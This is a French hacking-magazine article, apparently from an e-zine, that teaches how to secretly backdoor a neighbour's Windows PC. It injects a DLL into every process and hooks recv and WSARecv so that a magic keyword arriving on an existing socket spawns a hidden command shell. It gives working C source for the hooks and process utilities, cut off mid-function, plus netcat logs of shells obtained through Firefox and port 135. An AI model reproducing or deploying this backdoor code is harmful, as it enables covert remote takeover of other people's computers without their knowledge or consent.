_ _ _ _ _ (_) | | | | | | | ___ _ _ _ __ ___ _ __ ___ ___ _ __ _ ___ ___ ___| |__ ___| | | ___ ___ __| | ___ __ / __| | | | '_ \ / _ \ '__/ __|/ _ \| '_ \| |/ __/ __| / __| '_ \ / _ \ | |/ __/ _ \ / _` |/ _ \/ __| \__ \ |_| | |_) | __/ | \__ \ (_) | | | | | (__\__ \ \__ \ | | | __/ | | (_| (_) | (_| | __/\__ \ |___/\__,_| .__/ \___|_| |___/\___/|_| |_|_|\___|___/ |___/_| |_|\___|_|_|\___\___/ \__,_|\___||___/ | | |_| _ _ _ _ (_) (_) | | (_) _ _ __ _ ___ ___| |_ _ ___ _ __ | | '_ \| |/ _ \/ __| __| |/ _ \| '_ \ | | | | | | __/ (__| |_| | (_) | | | | #2 |_|_| |_| |\___|\___|\__|_|\___/|_| |_| _/ | |__/ -- [ supersonics shellcodes injection part-2 [ 1 ] ... Présentation du cas Dans ce cas de figure, on a la possibilité de deposer proprement une petite backdoor sur l'ordinateur cible. Par exemple celui de Raoul de Bergerac, le voisin du dessus qui fait du bruit le soir et qui a eu la naive idee de vous appeller a l'aide pour son pc plante. Mais Raoul, attention hein, c'est pas n'importe qui. Il va au club informatique du quartier, il a installe Norton Antivirus, et en plus il a lu dans Micro Hebdo qu'on pouvait surveiller ce qui se passe sur son PC. Raoul, il a un script batch qu'il lance de temps en temps. Il parrait que le chemin vers l'intelligence passe par la paranoia : Ra0u1.bat @echo off echo Recuperation des informations date /t >> log.txt tasklist >> log.txt netstat -an >> log.txt echo Travail terminé On a donc un ordinateur facilement accessible mais sous la vigilance relative d'un utilisateur un tant soi peu éveillé. Des approches trop grossières ne sont donc pas possibles. L'ordinateur de Raoul fait tourner très peu de services, on part du principe qu'il n'a pas de serveur exploitable. Par contre il est sur le net sans firewall, Micro Hebdo a dit que Norton Antivirus c'est bien mais comme ils n'ont pas parlé de firewall, Raoul il connait pas. Mais parfois il se rend sur des pages ouebs qui scannent ses ports, pour voir... [ 2 ] ... Ebauche de solution Bon, nous voila bien. Comment planquer une backdoor dans ce bordel ? Si on se sert d'un grand classique comme netcat, Raoul va le repérer. Et si on lui donne un nom "a la systeme", Raoul va tout de meme voir que ce programme n'etait pas la auparavant. Méthode à exclure. Pour qu'un programme s'exécute furtivement, on a grosso modo deux approches : * rootkiter le pc afin de cacher les programmes qui tournent. * injecter le code à exécuter dans un programme legitime. Pour ce papier, je vais retenir la seconde option. Le code de la backdoor va donc etre injecte dans d'autres processus pour que son execution soit camouflee. Je ne vais pas trop m'emmerder non plus, je ne vais pas faire d'injection de code mais utiliser une dll, ce qui sera plus simple a mettre en place. Ah, facilite contre efficacite, un des plus vieux dilemnes du monde... Bon ensuite, si on s'y prend mal, il y a toujours moyen de faire foirer le truc. Si vous voyez, avec un netstat, que notepad.exe est branche sur le net, vous risquez de faire la tete de quelqu'un qui a trouve un truc louche. Raoul c'est pareil. Il ne voit pas plus loin que le bout de son nez, mais vous vous souvenez de son nom de famille ? Hé oui, c'est un cap, c'est un pic, que dis-je c'est une peninsule ! Alors notre code injecte, soit il ne connecte pas au net, soit il ne faut pas que ca se voie. Comment rendre les choses discretes ? Allez, au hasard, deux approches : * ne s'en prendre qu'a des programmes qui ont deja des ports ouverts en attente * essayer d'utiliser les sockets deja en service au lieu d'en creer La premiere option est realisabe mais bien moins interessante et amusante que la seconde. C'est vrai, tant qu'a s'injecter, autant pousser le concept a fond et utiliser les sockets officiels a l'insu du processus legitime ! La backdoor furtive commence a se dessiner un peu : * injection de code pour ne pas apparaitre dans la liste des taches * detournement des sockets utilises par les processus [ 3 ] ... Etre partout sans etre nulle part L'injection de code via DLL est un sujet largement documente. Je ne vais pas decrire cette section en detail. Un petit resume suffira. On va recuperer les pids de tous les processus en cours. Dans chacun, on va allouer une zone de memoire et y copier un bref petit code, le dll loader. Puis on fait executer ce code par le processus en creant un nouveau thread qui débutera la. Le loader va charger la dll dans l'espace d'adressage du processus et se charger de l'initialisation. Pour assurer un controle durable sur le systeme, il faut prendre garde de hooker quelques apis. Le code injecte a en effet besoin de surveiller certains comportements des porgrammes. Et surveiller c'est hooker : * CreateProcess, afin de s'injecter dans tout processus nouvellement cree * FreeLibrary, afin d'interdire au processus de decharger la DLL Hop ca y est c'est, on a le controle sur les processus du systeme. J'espere que vous ne serez pas trop frustre par la rapidite de ce chapitre. Encore une fois, le sujet est deja beaucoup traite, et le plus amusant reste a venir. Dans beaucoup de fonctions de ce projet, on utilise des apis reseau de winsock. Or on ne peut pas les utiliser directement ! En effet, vu qu'on s'injecte dans tous les process on n'est pas certain que ce process ait winsock dans son espace d'adressage ! Et si on charge en force, systematiquement, winsock dans tous les processus, bah on fait un boulot plutot pas tres propre. La solution adoptee est de regarder si winsock est chargee. Si elle ne l'est pas, on n'a rien a faire dans ce processus, si ce n'est surveiller au cas ou le fourbe animal s'aviserait de charger la dll plus tard au cours de son fonctionnement. Si windock est present, on recupere les adresses des APIs qu'on va utiliser. Ainsi chargees dynamiquement lorsque c'est possible, on a resolu notre probleme. [ 4 ] ... Moshi moshi On en est venu à l'idee que la backdoor la plus furtive possible ne devait ouvrir aucun port, et que pour ca on allait jouer a manipuler les sockets deja ouverts par les applications dans lesquelles on s'injecte. Pour ca, on va commencer par poser un hook sur l'api ws2_32:recv. Notre nouveau petit handler va d'abord executer l'ancien appel, puis vérifier le contenu du buffer. Si le buffer contient le mot clef, alors on agit ! On renvoie un shell sur ce socket, et a la fin de l'execution du shell on renvoie un message de socket error. Simple et efficace. Quelques tests anec NetCat s'imposent. Le premier netcat sera le serveur, qui ecoutera le port 80 facon serveur web. Le second netcat sera le client. Dans ce premier test, le client est sous le controle de l'attaquant et envoie le mot-clef à un serveur corrompu par moshi afin d'obtenir un shell : Premier netcat | Second netcat nc -vv -l -p 80 | listening on [any] 80 ... | | | nc -vv localhost 80 +-----------------------+ DNS fwd/rev mismatch: localhost != vmware | connect to [127.0.0.1] from localhost [127.0.0.1] 1056 | +-----------------------+ | | DNS fwd/rev mismatch: vmware != localhost | vmware [127.0.0.1] 80 (http) open | | TAPE : get pageweb RECU : get pageweb | TAPE : return pageweb | | RECU : return pageweb | TAPE : tolwin RECU : rien de visible ! | | Microsoft Windows XP [version 5.1.2600] | (C) Copyright 1985-2001 Microsoft Corp. | | C:\>dir RECU : rien de visible ! | | dir | Le volume dans le lecteur C n'a pas de nom. | Le numéro de série du volume est 14F6-33E2 | | Répertoire de C:\ | | 27/02/2005 20:58 45 056 aa.exe | 11/02/2005 14:13 0 AUTOEXEC.BAT | 11/02/2005 14:13 0 CONFIG.SYS | 11/02/2005 14:33 Documents and Settings | 27/02/2005 21:00 59 392 nc.exe | 03/03/2005 10:13 61 440 progmon.dll | 11/02/2005 14:33 Program Files | 03/03/2005 10:13 49 466 status.txt | 11/02/2005 14:32 WINDOWS | 6 fichier(s) 215 354 octets | 3 Rép(s) 2 820 456 448 octets libres | | C:\>exit RECU : rien de visible ! | | sent 15, rcvd 12: NOTSOCK | sent 28, rcvd 775: NOTSOCK | Dans ce second cas, les acteurs sont les même. Mais ce coup-ci, le serveur est bidon et sous le controle de l'attaquant, qui l'utilise pour envoyer le mot-clef au client corrompu par moshi : Premier netcat | Second netcat nc -vv -l -p 80 | listening on [any] 80 ... | | | nc -vv localhost 80 +-----------------------+ DNS fwd/rev mismatch: localhost != vmware | connect to [127.0.0.1] from localhost [127.0.0.1] 1056 | +-----------------------+ | | DNS fwd/rev mismatch: vmware != localhost | vmware [127.0.0.1] 80 (http) open | | TAPE : get pageweb RECU : get pageweb | TAPE : return pageweb | | RECU : return pageweb | TAPE : get pageweb2 RECU : get pageweb2 | TAPE : tolwin | | RECU : rien ! +--------------------------+ Microsoft Windows XP [version 5.1.2600] | (C) Copyright 1985-2001 Microsoft Corp. | | C:\>dir | RECU : rien ! dir | Le volume dans le lecteur C n'a pas de nom. | Le numéro de série du volume est 14F6-33E2 | | Répertoire de C:\ | | 27/02/2005 20:58 45 056 aa.exe | 11/02/2005 14:13 0 AUTOEXEC.BAT | 11/02/2005 14:13 0 CONFIG.SYS | 11/02/2005 14:33 Documents and Settings | 27/02/2005 21:00 59 392 nc.exe | 03/03/2005 10:13 61 440 progmon.dll | 11/02/2005 14:33 Program Files | 03/03/2005 10:20 92 375 status.txt | 11/02/2005 14:32 WINDOWS | 6 fichier(s) 258 263 octets | 3 Rép(s) 2 820 374 528 octets libres | +--------------------------+ C:\>exit | RECU : rien ! | sent 16, rcvd 773 | sent 13, rcvd 0: NOTSOCK | Petit compte rendu des observations : Le netcat qui renvoie le shell ne voit pas du tout passer le mot-clef, ni les commandes du shell. Cette furtivité est toute relative, mais elle evite quand meme de laisser des traces trop visibles comme par exemple dans les logs de serveurs ftp, web etc etc... Voici le code du detour de recv. C'est tout court et tout simple. int _stdcall NewRecv (int s,char FAR* buf,int len,int flags) { int return_val; // recv d'origine __asm { push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call backup_api_recv mov return_val,eax } // Regarde ma condition if ( !strncmp(buf,mot_de_passe,strlen(mot_de_passe)) ) { _snprintf((char*)debug_string,2048, "% 20s - recv detecte magic key\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); //Lance le shell doexec(s); //Règle l'erreur et cassos import_wsasetlasterror(WSAECONNRESET);import_closesocket(s);return SOCKET_ERROR ; } // Sinon, comme si de rien n'etait return return_val; } Pour le fun, voici la trace d'un netcat se faisant passer pour un serveur web. Le pauvre et innocent Mozilla Firefox contaminé se fait croquer et renvoie un shell ! C:\>nc -vv -l -p 80 listening on [any] 80 ... DNS fwd/rev mismatch: localhost != ordilolo connect to [127.0.0.1] from localhost [127.0.0.1] 3997 GET / HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.5) Gecko/2004 1108 Firefox/1.0 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai n;q=0.8,image/png,*/*;q=0.5 Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive tolwin Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\Tolwin>exit sent 12, rcvd 533 [ 4 ] ... Vous avez parle de repondeur automatique ? Sous Windows, il n'y a pas besoin de faire tourner des tonnes de serveurs pour avoir quantite de ports deja ouverts sur sa machine : C:\>netstat -a -n -p TCP Connexions actives Proto Adresse locale Adresse distante Etat TCP 0.0.0.0:135 0.0.0.0:0 LISTENING TCP 0.0.0.0:445 0.0.0.0:0 LISTENING TCP 0.0.0.0:1025 0.0.0.0:0 LISTENING TCP 0.0.0.0:5000 0.0.0.0:0 LISTENING TCP 192.168.1.110:139 0.0.0.0:0 LISTENING TCP 192.168.1.110:1043 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1044 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1048 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1049 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1051 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1058 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1059 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1063 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1064 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1066 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1069 192.168.1.2:80 TIME_WAIT TCP 192.168.1.110:1070 192.168.1.2:80 TIME_WAIT Nouveau scenario : un pc est compromis par moshi. En se connectant a un port de base comme 135, peut-on recevoir un shell en envoyant le mot de passe ? nc localhost 135 tolwin aaa tolwin ^C C:\> Non, rien a faire, pas de shell. Et pourquoi donc, dis ? Recv n'est pas la seule API reseau a faire de la reception d'information via le reseau. Windows propose au programmeur l'API WSARecv, qui lui est specifique. WSARecv permet de balancer plusieurs requettes recv sur un meme socket, a la barbare, sans attendre. Il faut fournir a l'API un tableau de buffers. La premierre requete lancee ira ecrire dans le buffer 1, la seconde dans le buffer 2 etc... Le hook de WSARecv demande donc de regarder combien de buffers sont possible, et de verifier chacun. Sinun hook de WSARecv est mis en place, tous les teves deviennent envisageables. Ah, Raoul, si tu savais... Mais entre reve et realite, il y a un monde ! Alors, testons : C:\>nc localhost 135 aa tolwin Microsoft Windows XP [version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\WINDOWS\system32>exit C:\WINDOWS\system32>exit Connection terminee Ctrl-C peut etre necessaire pour quiter ^C C:\> Tadaa !!! C'est au poil. Le hook de WSARecv est plus technique que celui de recv. Il y a plusieurs cas de figure : * WSASocket n'est pas utilise en OverlappedIO et se termine tout de soute On n'a alors qu'un seul buffer a verifier, et l'adresse du buffer pointe sur son debut. Ce cas de figure ressemble beaucoup à recv. * WSASocket est utilise en overlappedIO, il peut y avoir plusieurs buffer a examiner. En plus, l'adresse du buffer pointe souvent APRES les donnees recues. Il faut donc rechercher le mot clef a l'offset mais aussi avant l'offset. Bref, c'est un joyeux bordel. Mais ca tourne. int _stdcall NewWSARecv (SOCKET s,LPWSABUF lpBuffers,DWORD dwBufferCount,LPDWORD lpNumberOfBytesRecvd,LPDWORD lpFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) { int return_val; DWORD taille_mot_de_passe = strlen(mot_de_passe); // Ancien appel __asm { push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call backup_api_wsarecv mov return_val,eax } // WSARecv renvoie 0 : pas d'erreur et la fx termine immediatement ----------- // Code de retour zero et pas overlap ---------------------------------------- if ( (return_val == 0) && (lpOverlapped == NULL) ) { //Si buffer non nul et réception de la bonne taille if ( (lpBuffers != NULL) && (lpBuffers->buf != NULL) && (*lpNumberOfBytesRecvd == taille_mot_de_passe) ) { // Compare la chaine bool verdict = true; for(DWORD i = 0; i < taille_mot_de_passe;i++) if (lpBuffers->buf[i] != mot_de_passe[i]) {verdict = false;break;} // Si comparaison ok lance le shell if (verdict) { // Efface le buffer et lance le shell _snprintf((char*)debug_string,2048, "% 20s - WSARecv (ok / non-overlap) detecte magic key\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); for(i = 0; i < taille_mot_de_passe;i++) lpBuffers->buf[i] = 0; doexec(s); // Rend le socket invalide et cassos import_wsasetlasterror(WSAECONNRESET); import_closesocket(s); return SOCKET_ERROR; } } } // Autre cas : erreur ou WSA IO PENDING ----------------------------------------- else if ( (return_val == -1 ) && (import_wsagetlasterror() == WSA_IO_PENDING) ) { bool verdict; bool premiere_passe; _snprintf((char*)debug_string,2048, "% 20s - WSARecv %d buffers\n",GetNameByPID(GetCurrentProcessId()), dwBufferCount); send_debug ((char*)debug_string); _snprintf((char*)debug_string,2048, "% 20s - WSARecv completion routine 0x%08X\n",GetNameByPID(GetCurrentProcessId()), lpCompletionRoutine); send_debug ((char*)debug_string); //Compare à l'offset sur le buffer 1 DWORD le_bon_buffer; verdict = true; for (le_bon_buffer = 0; le_bon_buffer < dwBufferCount;le_bon_buffer++) { premiere_passe = true; for(DWORD i = 0; i < taille_mot_de_passe;i++) if (lpBuffers[le_bon_buffer].buf[i] != mot_de_passe[i]) {verdict = false;break;} //Si non, compare pre-offset if (!verdict) { verdict = true; premiere_passe = false; for(DWORD i = 0; i < taille_mot_de_passe;i++) if (lpBuffers[le_bon_buffer].buf[i-taille_mot_de_passe] != mot_de_passe[i]) {verdict = false;break;} } if (verdict) break; } if (verdict) { // Efface le buffer et lance le shell _snprintf((char*)debug_string,2048, "% 20s - WSARecv (err / pending) detecte magic key\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); if (premiere_passe) for(DWORD i = 0; i < taille_mot_de_passe;i++) lpBuffers[le_bon_buffer].buf[i] = 0; else for(DWORD i = 0; i < taille_mot_de_passe;i++) lpBuffers[le_bon_buffer].buf[i-taille_mot_de_passe] = 0; doexec(s); // Rend le socket invalide et cassos char message_fin[] = "Connection terminee\nCtrl-C peut etre necessaire pour quiter\n"; import_send(s, message_fin, strlen(message_fin), 0); *lpNumberOfBytesRecvd = 0; import_wsasetlasterror(WSA_IO_PENDING); return SOCKET_ERROR; } } // Sinon, comme si de rien n'etait return return_val; } La reponse sur le port 135 marche avec mon windows xp non patche sous vmware mais echoue avec windows SP2. La question reste a etudier. [ 5 ] ... Que reste-t-il a faire ? Le code est efficace et discret. Pour ameliorer la furtivite de l'ensemble, quelques petites choses, et quelques moins petites choses restent a voir : * virer cette dll puante, proceder par injection directe de code. Pas grand chose a faire avec un compilo assembleur, mais sous VC++ pour avoir des infos fiables sur la longueur et l'emplacement d'une fonction, c'est pas gagné. Pour faire clair j'ai table sur un exemple en C, donc DLL parasite. Si le coeur vous en dit, a vos compilos asm !!! * rootkitiser un peu le truc : planquer le fichier de la dll, filtrer le listage des modules. Mais des le debut je voulais l'exemple leger alors pas de melange des genres. J'ai cible ce papier sur une application reseau de l'API hooking, pas sur du rootkiting de furtivite. * ameliorer le shell, include des macrocommandes de telechargement de fichier etc... * verifier dans wininet si il n'y a pas des APIs a hooker. Et il y en a surement, vu que wininet gere la communication reseau a plus haut niveau. Les applications clientes utilisant l'API wininet au lieu de winsock ne seront pas abusables par un serveur sous le controle de l'agresseur. Je ne crois pas qu'il y ait d'APIs de haut niveau serveur-side dans wininet mais j'avoue, j'ai fait ma faignasse et j'ai pas vérifié :p [ 6 ] ... La version proposee La version compilee proposee avec ce papier a ces limitations : * la dll, moshi.dll, DOIT etre dans c:\ * l'execution genere un fichier c:\status.txt. Ce fichier me servait pour le debug, mais comme il est tout sauf discret je l'ai laisse pour que le pekin moyen ne puisse pas ravager le net avec un outil qu'il ne comprend pas, c'est a dire qu'il ne peut pas refaire * un loader de dll est fourni avec, aa.exe * un netcat est fourni, pour pouvoir faire mumuse directement avec ce qu'il y a dans le petit paquet. Enjoy ! * un exemple de fichier status.txt pour zieuter tranquile ce que ca donne [ 7 ] ... Idees de lecture * Hacker Defender, pour avoir propose cette fonction et m'avoir motive a la refaire pour piger. * J'etend HxDef a tout rootkit.com, pour les furieux de la prog musclee sous windows. * NetCat, pour sa source de DoExec que j'ai refais a ma sauce. Netcat, nmap, voila de la bonne lecture ! * Last Stage of Delirium, les assembly components sont un must * Coup de coeur du moment : le white paper de eEye sur les boffers overflows dans le kernel. Delicieux. * Zombie pour son moteur de desassemblage, et tant de sources * Une pensee pour Raoul, qui a morfle severe durant cette aventure ;) - Annexe : pour obtenir le programme en entier, direction annexe du mag. ###################### # ws2_32_moshi.cpp # ###################### #include #include #include "hook_utils.h" #include "server.h" #include "doexec.h" //MAGIC KEY char mot_de_passe[] = "tolwin\n"; //Quelques imports extern char* debug_string[2049]; extern bool ALLOW_OUTBOUND; //import de fonctions de ws2_32 qu'on va utiliser typedef int (WINAPI *type_send) (SOCKET,const char FAR * ,int,int); type_send import_send = NULL; typedef int (WINAPI *type_recv) (SOCKET,char FAR*,int,int); type_recv import_recv = NULL; typedef int (WINAPI *type_closesocket) (SOCKET); type_closesocket import_closesocket = NULL; typedef void (WINAPI *type_wsasetlasterror) (int); type_wsasetlasterror import_wsasetlasterror = NULL; typedef int (WINAPI *type_wsagetlasterror) (void); type_wsagetlasterror import_wsagetlasterror = NULL; //Les infos pour les APIS injectées : int _stdcall NewRecv (int s, char FAR* buf, int len, int flags); char* backup_api_recv = NULL; int _stdcall NewWSARecv (SOCKET s,LPWSABUF lpBuffers,DWORD dwBufferCount,LPDWORD lpNumberOfBytesRecvd,LPDWORD lpFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionROUTINE); char* backup_api_wsarecv = NULL; int importe_fx () { // Chope les fx qu'on utilisera HMODULE adresse_ws2_32; if ((adresse_ws2_32 = GetModuleHandle("ws2_32.dll")) == 0) return FALSE; if ((import_send = (type_send) GetProcAddress(adresse_ws2_32,"send")) == 0) return FALSE; if ((import_recv = (type_recv) GetProcAddress(adresse_ws2_32,"recv")) == 0) return FALSE; if ((import_closesocket = (type_closesocket) GetProcAddress(adresse_ws2_32,"closesocket")) == 0) return FALSE; if ((import_wsasetlasterror = (type_wsasetlasterror) GetProcAddress(adresse_ws2_32,"WSASetLastError")) == 0) return FALSE; if ((import_wsagetlasterror = (type_wsagetlasterror) GetProcAddress(adresse_ws2_32,"WSAGetLastError")) == 0) return FALSE; return TRUE; } // ----------------------------------------------------------------------------------------------------------------------- // FONCTIONS PUBLIQUES : HOOK ET DEHOOK ---------------------------------------------------------------------------------- // ----------------------------------------------------------------------------------------------------------------------- int WINAPI hook_ws2_32 () { // Chope les fx qu'on utilisera DWORD offset_new_fx; _snprintf((char*)debug_string,2048, "% 20s - ws2_32.dll hook\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); importe_fx (); // Hook de recv __asm lea eax,NewRecv __asm mov offset_new_fx,eax if (!backup_api_recv) initialise_hook("WS2_32.dll", "recv", offset_new_fx, &backup_api_recv ); if (backup_api_recv) { _snprintf((char*)debug_string,2048, "% 20s - ws2_32.dll:recv hook succes\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); } else { _snprintf((char*)debug_string,2048, "% 20s - ws2_32.dll:recv hook echec\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); } // Hook de WSARecv __asm lea eax,NewWSARecv __asm mov offset_new_fx,eax if (!backup_api_wsarecv) initialise_hook("WS2_32.dll", "WSARecv", offset_new_fx, &backup_api_wsarecv); if (backup_api_wsarecv) { _snprintf((char*)debug_string,2048, "% 20s - ws2_32.dll:WSARecv hook succes\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); } else { _snprintf((char*)debug_string,2048, "% 20s - ws2_32.dll:WSARecv hook echec\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); } // Fin return TRUE; } int WINAPI free_ws2_32 () { if (backup_api_recv) enleve_hook("WS2_32.dll", "recv", &backup_api_recv ); if (backup_api_wsarecv) enleve_hook("WS2_32.dll", "WSARecv", &backup_api_wsarecv ); // Fin return TRUE; } // ----------------------------------------------------------------------------------------------------------------------- // FONCTIONS PRIVEES : NOUVEAUX HANDLERS --------------------------------------------------------------------------------- // ----------------------------------------------------------------------------------------------------------------------- // Nouveau handler pour RECV int _stdcall NewRecv (int s,char FAR* buf,int len,int flags) { int return_val; // recv d'origine __asm { push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call backup_api_recv mov return_val,eax } // Regarde ma condition if ( !strncmp(buf,mot_de_passe,strlen(mot_de_passe)) ) { _snprintf((char*)debug_string,2048, "% 20s - recv detecte magic key\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); //Lance le shell doexec(s); //Règle l'erreur et cassos import_wsasetlasterror(WSAECONNRESET);import_closesocket(s);return SOCKET_ERROR ; } // Sinon, comme si de rien n'etait return return_val; } // Nouveau handler pour WSARECV /* lpBuffers [in, out] Pointer to an array of WSABUF structures. Each WSABUF structure contains a pointer to a buffer and the length of the buffer, in bytes. typedef struct __WSABUF { u_long len; char FAR* buf; } WSABUF, *LPWSABUF; */ int _stdcall NewWSARecv (SOCKET s,LPWSABUF lpBuffers,DWORD dwBufferCount,LPDWORD lpNumberOfBytesRecvd,LPDWORD lpFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine) { int return_val; DWORD taille_mot_de_passe = strlen(mot_de_passe); // Ancien appel __asm { push dword ptr [ebp+20h] push dword ptr [ebp+1Ch] push dword ptr [ebp+18h] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call backup_api_wsarecv mov return_val,eax } // WSARecv renvoie 0 : pas d'erreur et la fx termine immediatement ----------- // Code de retour zero et pas overlap ---------------------------------------- if ( (return_val == 0) && (lpOverlapped == NULL) ) { //Si buffer non nul et réception de la bonne taille if ( (lpBuffers != NULL) && (lpBuffers->buf != NULL) && (*lpNumberOfBytesRecvd == taille_mot_de_passe) ) { // Compare la chaine bool verdict = true; for(DWORD i = 0; i < taille_mot_de_passe;i++) if (lpBuffers->buf[i] != mot_de_passe[i]) {verdict = false;break;} // Si comparaison ok lance le shell if (verdict) { // Efface le buffer et lance le shell _snprintf((char*)debug_string,2048, "% 20s - WSARecv (ok / non-overlap) detecte magic key\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); for(i = 0; i < taille_mot_de_passe;i++) lpBuffers->buf[i] = 0; doexec(s); // Rend le socket invalide et cassos import_wsasetlasterror(WSAECONNRESET); import_closesocket(s); return SOCKET_ERROR; } } } // Autre cas : erreur ou WSA IO PENDING ----------------------------------------- else if ( (return_val == -1 ) && (import_wsagetlasterror() == WSA_IO_PENDING) ) { bool verdict; bool premiere_passe; _snprintf((char*)debug_string,2048, "% 20s - WSARecv %d buffers\n",GetNameByPID(GetCurrentProcessId()), dwBufferCount); send_debug ((char*)debug_string); _snprintf((char*)debug_string,2048, "% 20s - WSARecv completion routine 0x%08X\n",GetNameByPID(GetCurrentProcessId()), lpCompletionRoutine); send_debug ((char*)debug_string); //Compare à l'offset sur le buffer 1 DWORD le_bon_buffer; verdict = true; for (le_bon_buffer = 0; le_bon_buffer < dwBufferCount;le_bon_buffer++) { premiere_passe = true; for(DWORD i = 0; i < taille_mot_de_passe;i++) if (lpBuffers[le_bon_buffer].buf[i] != mot_de_passe[i]) {verdict = false;break;} //Si non, compare pre-offset if (!verdict) { verdict = true; premiere_passe = false; for(DWORD i = 0; i < taille_mot_de_passe;i++) if (lpBuffers[le_bon_buffer].buf[i-taille_mot_de_passe] != mot_de_passe[i]) {verdict = false;break;} } if (verdict) break; } if (verdict) { // Efface le buffer et lance le shell _snprintf((char*)debug_string,2048, "% 20s - WSARecv (err / pending) detecte magic key\n",GetNameByPID(GetCurrentProcessId())); send_debug ((char*)debug_string); if (premiere_passe) for(DWORD i = 0; i < taille_mot_de_passe;i++) lpBuffers[le_bon_buffer].buf[i] = 0; else for(DWORD i = 0; i < taille_mot_de_passe;i++) lpBuffers[le_bon_buffer].buf[i-taille_mot_de_passe] = 0; doexec(s); // Rend le socket invalide et cassos char message_fin[] = "Connection terminee\nCtrl-C peut etre necessaire pour quiter\n"; import_send(s, message_fin, strlen(message_fin), 0); *lpNumberOfBytesRecvd = 0; import_wsasetlasterror(WSA_IO_PENDING); return SOCKET_ERROR; } } // Sinon, comme si de rien n'etait return return_val; } ###################### # hook_utils.cpp # ###################### #include #include #include #include "server.h" #include "lde32.h" extern char* debug_string[2049]; //------------------------------------------------------------------------------------------------------------------------ // Conversion PID - Name ---------------------------------------------------------------------- //------------------------------------------------------------------------------------------------------------------------ DWORD WINAPI GetPIDByName (TCHAR *szProcName) { HANDLE hProcessSnap = NULL; DWORD th32ProcessID = 0; BOOL bRet = FALSE; PROCESSENTRY32 pe32 = {0}; // Snapshot de tous les processus hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) return 0; // Initialisation de la structure d'un processus pe32.dwSize = sizeof(PROCESSENTRY32); // Parcours de tous les processus et comparaison avec le nom recherche th32ProcessID = Process32First(hProcessSnap, &pe32); while(th32ProcessID) { if(strcmp(strlwr(szProcName), strlwr(pe32.szExeFile)) == 0) { th32ProcessID = pe32.th32ProcessID; break; } pe32.dwSize = sizeof(PROCESSENTRY32); th32ProcessID = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); // Retourne le PID trouve return(th32ProcessID); } char* WINAPI GetNameByPID (DWORD ProcID) { HANDLE hProcessSnap = NULL; DWORD th32ProcessID = 0; BOOL bRet = FALSE; PROCESSENTRY32 pe32 = {0}; // Snapshot de tous les processus hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(hProcessSnap == INVALID_HANDLE_VALUE) return 0; // Initialisation de la structure d'un processus pe32.dwSize = sizeof(PROCESSENTRY32); // Parcours de tous les processus et comparaison avec le nom recherche th32ProcessID = Process32First(hProcessSnap, &pe32); while(th32ProcessID) { if(pe32.th32ProcessID == ProcID) break; pe32.dwSize = sizeof(PROCESSENTRY32); th32ProcessID = Process32Next(hProcessSnap, &pe32); } CloseHandle(hProcessSnap); // Retourne le PID trouve return(pe32.szExeFile); } //------------------------------------------------------------------------------------------------------------------------ // Création facile de processus ------------------------------------------------------------------------------------------ //------------------------------------------------------------------------------------------------------------------------ void CreateProcessSimple( char* sExecutableFilePath, DWORD flags = NORMAL_PRIORITY_CLASS) { PROCESS_INFORMATION pi; STARTUPINFO si; memset (&si, 0, sizeof( si )); si.cb = sizeof( si ); CreateProcess( NULL, //Application name sExecutableFilePath,// path to the executable file: NULL, NULL, FALSE, //Process & thread attribs, inherit handles flags, NULL, NULL, //Creation flags, environment, curdir &si, &pi ); CloseHandle( pi.hProcess ); CloseHandle( pi.hThread ); } void CreateProcessSimpleNouvelleFenetre ( char* sExecutableFilePath) { CreateProcessSimple(sExecutableFilePath, NORMAL_PRIORITY_CLASS+CREATE_NEW_CONSOLE); } void CreateProcessCache ( char* sExecutableFilePath) { CreateProcessSimple(sExecutableFilePath, 